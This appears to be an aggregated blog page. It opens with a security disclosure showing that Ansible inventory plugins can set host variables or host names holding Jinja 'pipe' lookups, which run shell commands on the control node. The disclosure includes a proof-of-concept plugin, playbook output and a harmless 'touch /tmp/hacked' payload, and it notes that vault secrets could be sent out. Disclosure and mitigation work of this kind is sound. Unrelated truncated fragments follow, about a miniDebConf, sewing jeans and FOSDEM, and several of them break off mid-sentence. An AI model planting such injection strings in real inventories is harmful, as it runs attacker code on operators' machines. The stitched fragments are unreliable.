I had reported this to Ansible a year ago (2023-02-23), but it seems this is considered expected behavior, so I am posting it here now.
TL;DR
Don't ever consume any data you got from an inventory if there is a chance somebody untrusted touched it.
Inventory plugins
Inventory plugins allow Ansible to pull inventory data from a variety of sources.
The most common ones are probably the ones fetching instances from clouds like
Amazon EC2
and
Hetzner Cloud or the ones talking to tools like
Foreman.
For Ansible to function, an inventory needs to tell Ansible how to connect to a host (so e.g. a network address) and which groups the host belongs to (if any).
But it can also set any arbitrary variable for that host, which is often used to provide additional information about it.
These can be tags in EC2, parameters in Foreman, and other arbitrary data someone thought would be good to attach to that object.
And this is where things are getting interesting.
Somebody could add a comment to a host and that comment would be visible to you when you use the inventory with that host.
And if that comment contains a
Jinja expression, it might get executed.
And if that Jinja expression is using the
pipe lookup, it might get executed in your shell.
Let that sink in for a moment, and then we'll look at an example.
Example inventory plugin
from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
NAME = 'evgeni.inventoryrce.inventory'
def verify_file(self, path):
valid = False
if super(InventoryModule, self).verify_file(path):
if path.endswith('evgeni.yml'):
valid = True
return valid
def parse(self, inventory, loader, path, cache=True):
super(InventoryModule, self).parse(inventory, loader, path, cache)
self.inventory.add_host('exploit.example.com')
self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local')
self.inventory.set_variable('exploit.example.com', 'something_funny', ' lookup("pipe", "touch /tmp/hacked" ) ')
The code is mostly copy & paste from the
Developing dynamic inventory docs for Ansible and does three things:
- defines the plugin name as
evgeni.inventoryrce.inventory
- accepts any config that ends with
evgeni.yml (we'll need that to trigger the use of this inventory later)
- adds an imaginary host
exploit.example.com with local connection type and something_funny variable to the inventory
In reality this would be talking to some API, iterating over hosts known to it, fetching their data, etc.
But the structure of the code would be very similar.
The crucial part is that if we have a string with a Jinja expression, we can set it as a variable for a host.
Using the example inventory plugin
Now we install the collection containing this inventory plugin,
or rather write the code to
~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py
(or wherever your Ansible loads its collections from).
And we create a configuration file.
As there is nothing to configure, it can be empty and only needs to have the right filename:
touch inventory.evgeni.yml is all you need.
If we now call
ansible-inventory, we'll see our host and our variable present:
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list
"_meta":
"hostvars":
"exploit.example.com":
"ansible_connection": "local",
"something_funny": " lookup(\"pipe\", \"touch /tmp/hacked\" ) "
,
"all":
"children": [
"ungrouped"
]
,
"ungrouped":
"hosts": [
"exploit.example.com"
]
(
ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory is required to allow the use of our inventory plugin, as it's not in the default list.)
So far, nothing dangerous has happened.
The inventory got generated, the host is present, the funny variable is set, but it's still only a string.
Executing a playbook, interpreting Jinja
To execute the code we'd need to use the variable in a context where Jinja is used.
This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM.
Or a
debug task where you dump all variables of a host to analyze what's set.
Let's use that!
- hosts: all
tasks:
- name: Display all variables/facts known for a host
ansible.builtin.debug:
var: hostvars[inventory_hostname]
This playbook looks totally innocent: run against all hosts and dump their hostvars using
debug.
No mention of our funny variable.
Yet, when we execute it, we see:
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
ok: [exploit.example.com]
TASK [Display all variables/facts known for a host] *******************************************************
ok: [exploit.example.com] =>
"hostvars[inventory_hostname]":
"ansible_all_ipv4_addresses": [
"192.168.122.1"
],
"something_funny": ""
PLAY RECAP *************************************************************************************************
exploit.example.com : ok=2 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
We got
all variables dumped, that was expected, but now
something_funny is an empty string?
Jinja got executed, and the expression was
lookup("pipe", "touch /tmp/hacked" ) and
touch does not return anything.
But it did create the file!
% ls -alh /tmp/hacked
-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked
We just "hacked" the Ansible
control node (aka: your laptop),
as that's where
lookup is executed.
It could also have used the
url lookup to send the contents of your Ansible vault to some internet host.
Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/ .
Why is this possible?
This happens because
set_variable(entity, varname, value) doesn't mark the values as unsafe and Ansible processes everything with Jinja in it.
In this very specific example, a possible fix would be to explicitly wrap the string in
AnsibleUnsafeText by using wrap_var:
from ansible.utils.unsafe_proxy import wrap_var
self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var(' lookup("pipe", "touch /tmp/hacked" ) '))
Which then gets rendered as a string when dumping the variables using
debug:
"something_funny": " lookup(\"pipe\", \"touch /tmp/hacked\" ) "
But it seems inventories don't do this:
for k, v in host_vars.items():
self.inventory.set_variable(name, k, v)
(
aws_ec2.py)
for key, value in hostvars.items():
self.inventory.set_variable(hostname, key, value)
(
hcloud.py)
for k, v in hostvars.items():
try:
self.inventory.set_variable(host_name, k, v)
except ValueError as e:
self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))
(
foreman.py)
And honestly, I can totally understand that.
When developing an inventory, you do not expect to handle insecure input data.
You also expect the API to handle the data in a secure way by default.
But
set_variable doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe".
Can something similar happen in other parts of Ansible?
It certainly happened in the past that Jinja was abused in Ansible:
CVE-2016-9587,
CVE-2017-7466,
CVE-2017-7481
But even if we only look at inventories,
add_host(host) can be abused in a similar way:
from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
NAME = 'evgeni.inventoryrce.inventory'
def verify_file(self, path):
valid = False
if super(InventoryModule, self).verify_file(path):
if path.endswith('evgeni.yml'):
valid = True
return valid
def parse(self, inventory, loader, path, cache=True):
super(InventoryModule, self).parse(inventory, loader, path, cache)
self.inventory.add_host('lol lookup("pipe", "touch /tmp/hacked-host" ) ')
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
fatal: [lol lookup("pipe", "touch /tmp/hacked-host" ) ]: UNREACHABLE! => "changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true
PLAY RECAP ************************************************************************************************
lol lookup("pipe", "touch /tmp/hacked-host" ) : ok=0 changed=0 unreachable=1 failed=0 skipped=0 rescued=0 ignored=0
% ls -alh /tmp/hacked-host
-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host
Affected versions
I've tried this on Ansible (core) 2.13.13 and 2.16.4.
I'd totally expect older versions to be affected too, but I have not verified that.
Last week we held our promised miniDebConf in Santa Fe City, Santa Fe province,
Argentina just across the river from Paran , where I have spent almost six
beautiful months I will never forget.
Around 500 Kilometers North from Buenos Aires, Santa Fe and Paran are separated
by the beautiful and majestic Paran river, which flows from Brazil, marks the
Eastern border of Paraguay, and continues within Argentina as the heart of the
litoral region of the country, until it merges with the Uruguay river (you
guessed right the river marking the Eastern border of Argentina, first with
Brazil and then with Uruguay), and they become the R o de la Plata.
This was a short miniDebConf: we were lent the APUL union s building for the
weekend (thank you very much!); during Saturday, we had a cycle of talks, and on
sunday we had more of a hacklab logic, having some unstructured time to work
each on their own projects, and to talk and have a good time together.
We were five Debian people attending:
We had the following set of talks (for which there is a promise to get
electronic record, as APUL was kind enough to record them! of course, I will
push them to our usual conference video archiving service as soon as I get them)
openpgp-paper-backup I ve been using OpenPGP through GnuPG since early 2000 . It s an essential part of Debian Developer s workflow. We use it regularly to authenticate package uploads and votes. Proper backups of that key are really important.
Up until recently, the only reliable option for me was backing up a tarball of my ~/.gnupg offline on a set few flash drives. This approach is better than nothing, but it s not nearly as reliable as I d like it to be.
Happy to share that 
Like each month, have a look at the work funded by 
The image here comes from an example of building 
I like using one machine and setup for everything, from serious development work to hobby projects to managing my finances. This is very convenient, as often the lines between these are blurred. But it is also scary if I think of the large number of people who I have to trust to not want to extract all my personal data. Whenever I run a 
Recently, I got a new laptop and had to set it up so I could start using it. But
I wasn't really in the mood to go through the same old steps which I had
explained in this 
After making my 
My brain is currently suffering from an overload caused by grading student
assignments.
In search of a somewhat productive way to procrastinate, I thought I
would share a small script I wrote sometime in 2023 to facilitate my grading
work.
I use Moodle for all the classes I teach and students use it to hand me out
their papers. When I'm ready to grade them, I download the ZIP archive Moodle
provides containing all their PDF files and comment them 
I was working on what looked like a good pattern for a pair of
jeans-shaped trousers, and I knew I wasn t happy with 200-ish g/m
cotton-linen for general use outside of deep summer, but I didn t have a
source for proper denim either (I had been low-key looking for it for a
long time).
Then one day I looked at an article I had saved about fabric shops that
sell technical fabric and while window-shopping on one I found that they
had a decent selection of denim in a decent weight.
I decided it was a sign, and decided to buy the two heaviest denim they
had: a 
The shop sent everything very quickly, the courier took their time (oh,
well) but eventually delivered my fabric on a sunny enough day that I
could wash it and start as soon as possible on the first pair.
The pattern I did in linen was a bit too fitting, but I was afraid I had
widened it a bit too much, so I did the first pair in the 100% cotton
denim. Sewing them took me about a week of early mornings and late
afternoons, excluding the weekend, and my worries proved false: they
were mostly just fine.
The only bit that could have been a bit better is the waistband, which
is a tiny bit too wide on the back: it s designed to be so for comfort,
but the next time I should pull the elastic a bit more, so that it stays
closer to the body.
I wore those jeans daily for the rest of the week, and confirmed that
they were indeed comfortable and the pattern was ok, so on the next
Monday I started to cut the elastic denim.
I decided to cut and sew two pairs, assembly-line style, using the
shaped waistband for one of them and the straight one for the other one.
I started working on them on a Monday, and on that week I had a couple
of days when I just couldn t, plus I completely skipped sewing on the
weekend, but on Tuesday the next week one pair was ready and could be
worn, and the other one only needed small finishes.
And I have to say, I m really, really happy with the ones with a shaped
waistband in elastic denim, as they fit even better than the ones with a
straight waistband gathered with elastic. Cutting it requires more
fabric, but I think it s definitely worth it.
But it will be a problem for a later time: right now three pairs of
jeans are a good number to keep in rotation, and I hope I won t have to
sew jeans for myself for quite some time.
I think that the leftovers of plain denim will be used for a skirt or
something else, and as for the leftovers of elastic denim, well, there
aren t a lot left, but what else I did with them is the topic for
another post.
Thanks to the fact that they are all slightly different, I ve started to
keep track of the times when I wash each pair, and hopefully I will be
able to see whether the elastic denim is significantly less durable than
the regular, or the added weight compensates for it somewhat. I m not
sure I ll manage to remember about saving the data until they get worn,
but if I do it will be interesting to know.
Oh, and I say I ve finished working on jeans and everything, but I still
haven t sewn the belt loops to the third pair. And I m currently wearing
them. It s a sewist tradition, or something. :D
The talks held in the room were these below, and in each of them you can watch the recording video.
As there has been an increase in the number of proposals received, I believe that interest in the translations devroom is growing. So I intend to send the devroom proposal to FOSDEM 2025, and if it is accepted, wait for the future Debian Leader to approve helping me with the flight tickets again. We ll see.
Two months into my